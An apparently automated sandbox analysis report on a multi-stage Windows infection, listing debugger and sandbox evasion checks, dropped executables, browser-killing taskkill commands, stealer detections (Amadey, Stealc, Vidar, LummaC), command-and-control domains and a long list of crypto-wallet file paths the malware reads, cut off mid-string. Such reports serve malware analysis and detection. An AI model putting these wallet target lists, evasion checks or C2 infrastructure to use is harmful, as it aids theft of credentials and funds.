Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 21_2_055C03FD Start: 055C05BA End: 055C042E

21_2_055C03FD

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsCGDHIEGCFH.exe

Code function: 20_2_04D00C0B rdtsc

20_2_04D00C0B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D08AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6D08AC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F5652B mov eax, dword ptr fs:[00000030h]		21_2_00F5652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 21_2_00F5A302 mov eax, dword ptr fs:[00000030h]		21_2_00F5A302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D08AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6D08AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5b96a79886.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5b96a79886.exe PID: 8176, type: MEMORYSTR

Detected PureCrypter Trojan

Source: bef6a59ce6.exe, 0000001B.00000003.2344501495.00000000052B1000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-1-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1:458225,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-4-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeShoppingProductTrackingAlertSettings":{"enableFeatures":["msShoppingExp50"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enable

LummaC encrypted strings found

Source: bef6a59ce6.exe, 0000001B.00000002.2574742765.0000000000121000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: p3ar11fter.sbs
Source: bef6a59ce6.exe, 0000001B.00000002.2574742765.0000000000121000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: 3xp3cts1aim.sbs
Source: bef6a59ce6.exe, 0000001B.00000002.2574742765.0000000000121000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: peepburry828.sbs
Source: bef6a59ce6.exe, 0000001B.00000002.2574742765.0000000000121000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: p10tgrace.sbs
Source: bef6a59ce6.exe, 0000001B.00000002.2574742765.0000000000121000.00000040.00000001.01000000.00000010.sdmp	String found in binary or memory: processhol.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDHIEGCFH.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCGDHIEGCFH.exe "C:\Users\user\DocumentsCGDHIEGCFH.exe"
Source: C:\Users\user\DocumentsCGDHIEGCFH.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe "C:\Users\user~1\AppData\Local\Temp\1006992001\5454ad7c1c.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe "C:\Users\user~1\AppData\Local\Temp\1006993001\bef6a59ce6.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe "C:\Users\user~1\AppData\Local\Temp\1006994001\5b96a79886.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe "C:\Users\user~1\AppData\Local\Temp\1006995001\3afa1b1567.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe "C:\Users\user~1\AppData\Local\Temp\1006996001\4ff2bfa33f.exe"

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D0D4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6D0D4760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFB1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CFB1C30

Source: file.exe, file.exe, 00000000.00000002.1826117353.00000000010C3000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iProgram Manager
Source: 3afa1b1567.exe, 0000001F.00000002.2582981970.0000000000FA2000.00000002.00000001.01000000.00000012.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D08AE71 cpuid

0_2_6D08AE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006995001\3afa1b1567.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1006996001\4ff2bfa33f.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006994001\5b96a79886.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6D08A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6D08A8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFD8390 NSS_GetVersion,

0_2_6CFD8390

Source: C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: bef6a59ce6.exe, 0000001B.00000002.2591715552.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2521644560.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2480339987.0000000000C2E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2483213897.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1006993001\bef6a59ce6.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 34.2.skotes.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.skotes.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.skotes.exe.f20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.DocumentsCGDHIEGCFH.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000002.1871064932.0000000000A31000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.2531360728.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.1829679146.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.2478483559.00000000052D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2575747151.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1887597470.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1929561851.0000000000F21000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.1885552644.00000000053C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000001F.00000002.2583966248.0000000001118000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 3afa1b1567.exe PID: 736, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: bef6a59ce6.exe PID: 6780, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: bef6a59ce6.exe PID: 6816, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1824673224.0000000000CF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1827260082.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000003.2513319007.0000000004E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2375597398.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2419824404.0000000000231000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1302298409.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3576, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5b96a79886.exe PID: 6244, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 5b96a79886.exe PID: 8176, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3576, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1824673224.0000000000DBC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 